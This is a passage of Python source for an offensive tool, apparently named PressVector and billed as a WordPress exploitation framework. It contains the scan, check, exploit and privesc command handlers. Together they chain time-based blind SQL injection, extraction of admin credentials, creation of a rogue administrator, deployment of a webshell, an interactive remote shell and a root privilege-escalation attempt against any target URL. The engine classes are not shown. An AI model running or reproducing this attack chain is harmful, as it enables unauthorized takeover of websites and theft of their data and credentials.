print(f"[INF] Fast response: {fast:.3f}s")
print(f"[INF] Slow response: {slow:.3f}s")
print(f"[INF] Time difference: {slow - fast:.3f}s")
if (slow - fast) >= args.delay * 0.5:
print("[SUC] Target is vulnerable to time-based blind SQL injection!")
# Get some info
print("[INF] Extracting database information...")
info = engine.get_database_info()
print(f" Version: {info.get('version', 'Unknown')}")
print(f" Database: {info.get('database', 'Unknown')}")
print(f" User: {info.get('user', 'Unknown')}")
# Try to get admin credentials
creds = engine.get_admin_credentials()
if creds:
username, password_hash = creds
print(f"[INF] Admin credentials found:")
print(f" Username: {username}")
print(f" Password hash: {password_hash}")
return 0
else:
print("[ERR] Target does not appear to be vulnerable")
return 1
def cmd_exploit(args):
"""Exploit the vulnerability."""
print(f"[INF] Targeting {args.target}")
# Check vulnerability
print("[INF] Checking vulnerability...")
engine = BlindSQLIEngine(args.target, delay=2.0, timeout=args.timeout)
try:
fast, slow = engine.calibrate(rounds=3)
if (slow - fast) < 1.5:
print("[ERR] Target not vulnerable to time-based blind SQL injection")
return 1
except Exception as e:
print(f"[ERR] Failed to check vulnerability: {e}")
return 1
print("[SUC] Target is vulnerable!")
# Exploit
print("[INF] Starting exploitation chain...")
rce = PreAuthRCE(args.target, timeout=args.timeout, proxy=args.proxy)
# Create admin user
print("[INF] Creating administrator user...")
try:
username, password = rce.create_admin_user()
print(f"[SUC] Created administrator: {username} : {password}")
except Exception as e:
print(f"[ERR] Failed to create admin: {e}")
return 1
# Deploy webshell
print("[INF] Deploying webshell...")
try:
shell_url, execute, cleanup = rce.deploy_webshell(username, password)
print(f"[SUC] Webshell deployed at: {shell_url}")
except Exception as e:
print(f"[ERR] Failed to deploy webshell: {e}")
return 1
# Execute command
if args.command:
print(f"[INF] Executing command: {args.command}")
try:
output = execute(args.command)
print(f"[SUC] Command output:\n{output}")
except Exception as e:
print(f"[ERR] Command execution failed: {e}")
# Cleanup
if not args.no_cleanup:
print("[INF] Cleaning up...")
cleanup()
print("[INF] Cleanup complete")
# Interactive shell
if args.interactive:
print("[INF] Starting interactive shell...")
while True:
try:
cmd = input("$> ").strip()
if cmd in ("exit", "quit"):
break
if cmd:
output = execute(cmd)
print(output)
except KeyboardInterrupt:
break
except Exception as e:
print(f"[ERR] Command failed: {e}")
cleanup()
return 0
def cmd_privilege_escalation(args):
"""Attempt local privilege escalation."""
print(f"[INF] Targeting {args.target}")
# First exploit to get a webshell
print("[INF] Checking vulnerability...")
engine = BlindSQLIEngine(args.target, delay=2.0, timeout=args.timeout)
try:
fast, slow = engine.calibrate(rounds=3)
if (slow - fast) < 1.5:
print("[ERR] Target not vulnerable to time-based blind SQL injection")
return 1
except Exception as e:
print(f"[ERR] Failed to check vulnerability: {e}")
return 1
print("[SUC] Target is vulnerable!")
# Exploit
print("[INF] Starting exploitation chain...")
rce = PreAuthRCE(args.target, timeout=args.timeout, proxy=args.proxy)
# Create admin user
print("[INF] Creating administrator user...")
try:
username, password = rce.create_admin_user()
print(f"[SUC] Created administrator: {username} : {password}")
except Exception as e:
print(f"[ERR] Failed to create admin: {e}")
return 1
# Deploy webshell
print("[INF] Deploying webshell...")
try:
shell_url, execute, cleanup = rce.deploy_webshell(username, password)
print(f"[SUC] Webshell deployed at: {shell_url}")
except Exception as e:
print(f"[ERR] Failed to deploy webshell: {e}")
return 1
# Attempt privilege escalation
pe = PrivilegeEscalation(execute)
try:
if pe.exploit():
print("[SUC] Privilege escalation successful!")
# Keep shell if interactive
if args.interactive:
print("[INF] You now have root access! Starting interactive shell...")
while True:
try:
cmd = input("root@pressvector# ").strip()
if cmd in ("exit", "quit"):
break
if cmd:
output = execute(cmd)
print(output)
except KeyboardInterrupt:
break
except Exception as e:
print(f"[ERR] Command failed: {e}")
else:
print("[ERR] Privilege escalation failed")
except Exception as e:
print(f"[ERR] Privilege escalation error: {e}")
# Cleanup
if not args.no_cleanup:
print("[INF] Cleaning up...")
cleanup()
print("[INF] Cleanup complete")
return 0
# ============================================================================
# MAIN
# ============================================================================
def main():
"""Main entry point."""
parser = argparse.ArgumentParser(
description="PressVector - Advanced WordPress Vulnerability Exploitation Framework",
epilog="Developer: Vulnquest | Version: 3.0.0-Exploit"
)
subparsers = parser.add_subparsers(dest="command", help="Command to execute")
# Scan command
scan_parser = subparsers.add_parser("scan", help="Scan for vulnerable targets")
scan_parser.add_argument("targets", nargs="*", help="Target URLs or hostnames")
scan_parser.add_argument("-f", "--file", help="File containing targets")
scan_parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads")
scan_parser.add_argument("-j", "--json", action="store_true", help="JSON output")
scan_parser.add_argument("--timeout", type=int, default=TIMEOUT, help="Request timeout")
# Check command
check_parser = subparsers.add_parser("check", help="Check for SQL injection")
check_parser.add_argument("target", help="Target URL")
check_parser.add_argument("--delay", type=float, default=2.0, help="SLEEP delay")
check_parser.add_argument("--repeats", type=int, default=3, help="Repeats for median")
check_parser.add_argument("--timeout", type=int, default=TIMEOUT, help="Request timeout")
# Exploit command
exploit_parser = subparsers.add_parser("exploit", help="Exploit vulnerability")
exploit_parser.add_argument("target", help="Target URL")
exploit_parser.add_argument("-c", "--command", help="Command to execute")
exploit_parser.add_argument("-i", "--interactive", action="store_true", help="Interactive shell")
exploit_parser.add_argument("--no-cleanup", action="store_true", help="Don't clean up")
exploit_parser.add_argument("--timeout", type=int, default=TIMEOUT, help="Request timeout")
exploit_parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
# Privilege escalation command
pe_parser = subparsers.add_parser("privesc", help="Attempt privilege escalation")
pe_parser.add_argument("target", help="Target URL")
pe_parser.add_argument("-i", "--interactive", action="store_true", help="Interactive shell after escalation")
pe_parser.add_argument("--no-cleanup", action="store_true", help="Don't clean up")
pe_parser.add_argument("--timeout", type=int, default=TIMEOUT, help="Request timeout")
pe_parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
args = parser.parse_args()
# Print banner
print(BANNER)
print(f"[INF] PressVector v{__version__} by Vulnquest")
if not args.command:
parser.print_help()
return 0
# Execute command
handlers = {
"scan": cmd_scan,
"check": cmd_check,
"exploit": cmd_exploit,
"privesc": cmd_privilege_escalation,
}
try:
return handlers[args.command](args)
except KeyboardInterrupt:
print("\n[WRN] Interrupted by user")
return 130
except Exception as e:
print(f"[ERR] Unexpected error: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())